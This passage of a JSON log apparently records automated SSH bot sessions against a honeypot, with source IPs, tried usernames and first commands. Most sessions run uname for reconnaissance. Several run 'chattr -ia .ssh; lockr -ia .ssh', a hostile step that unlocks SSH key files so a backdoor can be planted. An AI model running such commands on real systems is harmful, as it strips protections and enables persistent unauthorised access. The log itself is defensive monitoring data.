  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "47066562-71d9-4ad3-be44-e9527f8cd185",
  "name": "frank-flinty-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40322,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:45:58.223873+00:00",
  "ended_at": "2026-08-26T12:46:03.860175+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cec3b2c1-e3d3-4764-8bc4-989f6ba6be56",
  "name": "boreal-curious-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 43270,
  "username": "user3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:45:51.909676+00:00",
  "ended_at": "2026-08-26T12:45:57.956772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b747c136-8be1-4353-8524-095b2791015b",
  "name": "fringed-jaunty-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51100,
  "username": "user3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 682,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:45:47.063793+00:00",
  "ended_at": "2026-08-26T12:45:57.954840+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "99c8083c-0e2d-4467-b18b-4909423c46ac",
  "name": "wooded-rugged-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49244,
  "username": "chris",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 678,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:45:22.556114+00:00",
  "ended_at": "2026-08-26T12:45:29.046275+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4003f62-4efb-45ee-993b-df2d0b2a7ee8",
  "name": "peaty-quartz-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48094,
  "username": "pokemon",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:45:19.307141+00:00",
  "ended_at": "2026-08-26T12:45:20.818277+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "1ad3ceb3-df8a-4600-b02e-4c87140fd06f",
  "name": "vaulted-sterling-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52994,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 802,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:45:15.807212+00:00",
  "ended_at": "2026-08-26T12:45:21.410926+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a20e036b-ee41-41b3-82cd-40f5b3254376",
  "name": "quartz-subtle-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:45:01.082554+00:00",
  "ended_at": "2026-08-26T12:45:05.525721+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6816f6c3-e750-4fb6-90a8-70f2bb83a1a9",
  "name": "spirited-crimson-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48110,
  "username": "pokemon",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:54.892466+00:00",
  "ended_at": "2026-08-26T12:44:57.024554+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aadaf836-64f3-45f2-a618-664c82bd2c68",
  "name": "prairie-painted-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48102,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:51.591671+00:00",
  "ended_at": "2026-08-26T12:44:53.193310+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b03bab9-0fba-4053-9b46-2613a4576b60",
  "name": "windswept-crystal-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40290,
  "username": "customer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:50.096624+00:00",
  "ended_at": "2026-08-26T12:44:53.687653+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba4b6cc5-21e1-4636-965c-05b53a4c2723",
  "name": "fearless-candid-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37552,
  "username": "work",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 570,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:44:48.964164+00:00",
  "ended_at": "2026-08-26T12:44:54.103839+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98ad8433-dcf0-46b7-97cb-dba4d28bba83",
  "name": "leafy-tender-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38092,
  "username": "customer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 728,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:44:46.407174+00:00",
  "ended_at": "2026-08-26T12:44:53.686642+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "96101678-c3dd-418f-a0da-75c9631510aa",
  "name": "creaky-crisp-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51072,
  "username": "dspace",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:42.229800+00:00",
  "ended_at": "2026-08-26T12:44:49.932046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3cf3087-e43b-47f3-bc36-4c30f6a6ff4f",
  "name": "indigo-mindful-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50352,
  "username": "dspace",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:44:34.912074+00:00",
  "ended_at": "2026-08-26T12:44:49.933426+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "b425a7e9-2042-405d-9c5f-e8120a42a3bd",
  "name": "feathered-stoic-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54704,
  "username": "dmdba",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:44:26.394727+00:00",
  "ended_at": "2026-08-26T12:44:31.715529+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c6dadb6-3e03-46cd-bd81-285b63c9f8f0",
  "name": "mindful-primal-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57468,
  "username": "dmdba",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 576,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:44:20.041686+00:00",
  "ended_at": "2026-08-26T12:44:31.717212+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "4d82aa2a-ab89-4aad-9bc4-d4b727c7c75c",
  "name": "earnest-hazel-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 65515,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:43:56.511045+00:00",
  "ended_at": "2026-08-26T12:43:58.703866+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "df9d0161-d9f5-4cdc-9a7d-316d0f2c960c",
  "name": "humble-blunt-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37566,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:43:55.849212+00:00",
  "ended_at": "2026-08-26T12:44:03.155571+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24de38dc-68b9-41de-9a1f-ce84a52d7175",
  "name": "salty-reedy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45162,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 735,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:43:53.691629+00:00",
  "ended_at": "2026-08-26T12:43:57.079618+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae7ba865-8aac-4410-b046-c171db6cddb6",
  "name": "watchful-hearty-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54860,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:43:48.797966+00:00",
  "ended_at": "2026-08-26T12:44:03.168271+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "444b28d5-3c2d-4ff4-9da9-f32246bc0c86",
  "name": "steady-ginger-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50362,
  "username": "media",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:43:28.106085+00:00",
  "ended_at": "2026-08-26T12:43:31.840122+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c271c946-1760-46f0-9204-a70fe2ac665e",
  "name": "chilly-fickle-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42430,
  "username": "media",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 605,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:43:23.978636+00:00",
  "ended_at": "2026-08-26T12:43:31.841343+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "a9f9b667-4fdc-413e-a5f8-b0af1ae74c80",
  "name": "chilly-northern-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41920,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:43:23.074664+00:00",
  "ended_at": "2026-08-26T12:43:29.294820+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f7f2f5dd-ff1b-4ed2-8cbe-5cf934bde8c0",
  "name": "opal-sincere-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36444,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 569,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:43:09.240163+00:00",
  "ended_at": "2026-08-26T12:43:12.211362+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8008a0e-2255-4b59-9d33-6ade626e60ae",
  "name": "sturdy-honest-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45176,
  "username": "daniel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:43:07.772269+00:00",
  "ended_at": "2026-08-26T12:43:14.916788+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2205629e-14ba-45e2-8638-f7e909db29af",
  "name": "snowy-valiant-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47738,
  "username": "daniel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 679,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:43:02.944569+00:00",
  "ended_at": "2026-08-26T12:43:14.918178+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "41882669-7f54-4aa8-b71f-889c3624258e",
  "name": "obsidian-hearty-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56930,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 623,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:42:47.604361+00:00",
  "ended_at": "2026-08-26T12:42:52.981626+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9a5e1788-d8a5-4ac0-8a2a-4c6e1949b2c2",
  "name": "earnest-loyal-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 55832,
  "username": "default",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:42:47.442051+00:00",
  "ended_at": "2026-08-26T12:42:48.198826+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "f41e76a5-e6b6-44bb-b9b1-b6a5bb9d6ff7",
  "name": "meadow-genial-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47894,
  "username": "u1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 853,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:42:46.905584+00:00",
  "ended_at": "2026-08-26T12:42:48.039184+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "589f1a90-c2e5-4e47-a4ac-b310721fc8c6",
  "name": "faded-icy-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41954,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:37.861461+00:00",
  "ended_at": "2026-08-26T12:42:41.732029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d2d521a-bb4c-43e9-8c74-bacc26db51e4",
  "name": "distant-somber-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41878,
  "username": "wizard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:32.411302+00:00",
  "ended_at": "2026-08-26T12:42:38.120563+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bd4dc9f-cdb0-46ce-b4d3-2cf517580798",
  "name": "frugal-honest-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58936,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:42:32.292528+00:00",
  "ended_at": "2026-08-26T12:42:41.730523+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "a8e4dc59-c5a0-4cfb-850a-d3f7fc0da497",
  "name": "bitter-languid-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48526,
  "username": "wizard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 638,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:42:26.477766+00:00",
  "ended_at": "2026-08-26T12:42:38.121414+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "ba218c84-9aad-4a7d-a0ab-281eecc3b3c2",
  "name": "dewy-murky-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 53486,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:25.671065+00:00",
  "ended_at": "2026-08-26T12:42:27.161864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad20dc3d-716f-45b1-a927-433e26ddf74b",
  "name": "cunning-velvet-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47910,
  "username": "u1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:23.809180+00:00",
  "ended_at": "2026-08-26T12:42:24.714053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a713de4-1692-4903-9f03-d6048440ffd0",
  "name": "lively-vernal-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47902,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:20.095940+00:00",
  "ended_at": "2026-08-26T12:42:21.995958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "399ec964-09fc-47d3-94df-bd8a89f35f51",
  "name": "dewy-earnest-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36496,
  "username": "test2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:42:18.071345+00:00",
  "ended_at": "2026-08-26T12:42:24.233601+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19d00b24-4637-4c6f-9afe-b0833d4b23bf",
  "name": "weathered-nautical-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49676,
  "username": "test2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 564,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:42:11.638146+00:00",
  "ended_at": "2026-08-26T12:42:24.232728+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "20157b53-eaeb-43fa-acda-ef2803aa21b6",
  "name": "frank-quaint-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47726,
  "username": "kelly",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:41:53.436267+00:00",
  "ended_at": "2026-08-26T12:42:00.392675+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "542206e5-a48a-4fc0-837d-a8afcff32ff2",
  "name": "snowy-restless-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53462,
  "username": "kelly",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 685,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:48.643607+00:00",
  "ended_at": "2026-08-26T12:42:00.393966+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "42df55f7-b828-4e17-9194-5cd1282ed336",
  "name": "mellow-downy-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:27.286837+00:00",
  "ended_at": "2026-08-26T12:41:32.469313+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "04493b1d-9bac-4cdb-afd9-e96075be405f",
  "name": "gnarled-jagged-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:11.773284+00:00",
  "ended_at": "2026-08-26T12:41:16.624602+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "adf57795-b9df-4f57-b7d2-8cc5dacdb13e",
  "name": "upland-fleeting-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:05.849146+00:00",
  "ended_at": "2026-08-26T12:41:10.472015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9d7f9b0b-ee6c-447c-a249-c3cdde02c9ed",
  "name": "curious-murky-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49660,
  "username": "joel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:41:00.071860+00:00",
  "ended_at": "2026-08-26T12:41:04.383313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b6cdbad-6830-438b-af95-b55354041d63",
  "name": "wistful-crisp-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52440,
  "username": "joel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:40:56.240166+00:00",
  "ended_at": "2026-08-26T12:41:04.384740+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "8bf62f30-016f-4f94-965f-866a2fe0a330",
  "name": "polar-thrifty-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53498,
  "username": "kubernetes",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:40:55.947232+00:00",
  "ended_at": "2026-08-26T12:40:59.979795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "462e4caa-8f62-4368-b1be-b98c66e93816",
  "name": "brave-frugal-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40998,
  "username": "kubernetes",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 616,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:40:51.232503+00:00",
  "ended_at": "2026-08-26T12:40:59.980922+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "3db0cc0f-57a8-47f3-aef1-1f2922a13940",
  "name": "lawful-balmy-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43392,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 670,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:40:32.305663+00:00",
  "ended_at": "2026-08-26T12:40:35.997207+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8dcd696-7004-4779-964e-3313b12db9a6",
  "name": "plucky-graceful-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:40:17.181237+00:00",
  "ended_at": "2026-08-26T12:40:21.065551+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c8bf84ca-d9ed-4a77-8bff-bcb166829e87",
  "name": "fabled-loyal-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47700,
  "username": "nitin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 886,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:40:09.299509+00:00",
  "ended_at": "2026-08-26T12:40:10.905325+00:00",
  "ended_reason": "exec complete",
